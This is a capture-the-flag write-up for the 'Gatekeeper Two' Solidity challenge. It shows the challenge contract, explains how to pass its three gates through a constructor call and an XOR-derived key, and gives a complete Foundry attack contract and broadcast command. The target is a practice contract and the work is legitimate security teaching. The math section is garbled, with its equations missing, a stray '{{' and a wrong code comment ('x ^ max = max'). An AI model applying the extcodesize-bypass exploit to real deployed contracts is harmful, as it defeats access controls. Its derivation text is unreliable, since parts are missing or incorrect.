Cover image source: Source
Challenge Overview
Gatekeeper Two is a three-gate challenge that prevents direct entry by ordinary externally-owned accounts.
The goal is to become the contract’s entrant by calling enter(bytes8 _gateKey) while satisfying three intentional checks (the “gates”):
gateOne: The caller must be a contract — i.e.,msg.sender != tx.origin.gateTwo: The contract checks the code size of the caller in assembly (extcodesize(caller()) == 0). This means the call must be made while the caller’s address has no deployed code (the classic way to satisfy this is to perform the call from inside the constructor of the attacking contract).gateThree: A 64-bit bitwise constraint on the supplied_gateKeythat depends onmsg.sender(nottx.origin):uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max.
This writeup explains how to construct the correct _gateKey, why each gate exists, and how the constructor-call technique is used to satisfy gateTwo.
Challenge Code
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;
contract GatekeeperTwo { address public entrant;
modifier gateOne() { require(msg.sender != tx.origin); _; }
modifier gateTwo() { uint256 x; assembly { x := extcodesize(caller()) } require(x == 0); _; }
modifier gateThree(bytes8 _gateKey) { require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max); _; }
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; }}Exploit Explanation
To bypass the first gate we simply have to create another contract and call it.
The second gate was harder, and we found this article talking about it: the Medium post explains how extcodesize can be bypassed by making the call during the attacking contract’s constructor. {{
Summing up, we have to call everything inside the constructor to bypass it.
Now the third gate was the most challenging. Below is a compact, corrected, and prettier derivation using XOR properties.
XOR math (prettified)
Start from the relation used in the exploit:
XOR both sides with (x). Using associativity/commutativity of XOR:
The left-hand side simplifies because (x \oplus x = 0) and (0 \oplus \text{key} = \text{key}). So:
Equivalently (XOR is symmetric):
You can also solve for (x) directly by XOR-ing the original equation with key:
Short step-by-step (text)
- Given:
x ⊕ key = max. - XOR both sides with
x:(x ⊕ key) ⊕ x = max ⊕ x. - Since
(x ⊕ key) ⊕ x = key(becausex ⊕ x = 0), we getkey = max ⊕ x. - Rearranged:
x ⊕ max = key. - And solving for
x:x = max ⊕ key.
Exploit Script
// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.0;
import "forge-std/Script.sol";import "forge-std/console.sol";import "../src/GatekeeperTwo.sol";
contract Attack { GatekeeperTwo public gatekeeperTwoInstance;
constructor(GatekeeperTwo _gatekeeperTwoInstance) { gatekeeperTwoInstance = _gatekeeperTwoInstance; bytes8 x = bytes8(keccak256(abi.encodePacked(address(this)))); bytes8 key; // x ^ key = max
// Using the property of XOR operation: // x ^ x ^ key = max
// x ^ x ^ key => results in key, x will cancel the other x
// Since x ^ key = max, we can substitute in the operation above // x ^ max = max
key = x ^ bytes8(type(uint64).max);
require(gatekeeperTwoInstance.enter(key) == true, "Failed to complete the challenge!"); }}
contract GatekeeperTwoSolution is Script {
GatekeeperTwo public gatekeeperTwoInstance = GatekeeperTwo(<YOUR_INSTANCE>);
function run() public { vm.startBroadcast(vm.envUint("PRIVATE_KEY")); Attack evil = new Attack(gatekeeperTwoInstance); vm.stopBroadcast(); }}Proof of Concept (PoC)
Run with Foundry (example):
forge script script/GatekeeperTwoSolution.s.sol --rpc-url $SEPOLIA_URL --tc GatekeeperTwoSolution --broadcast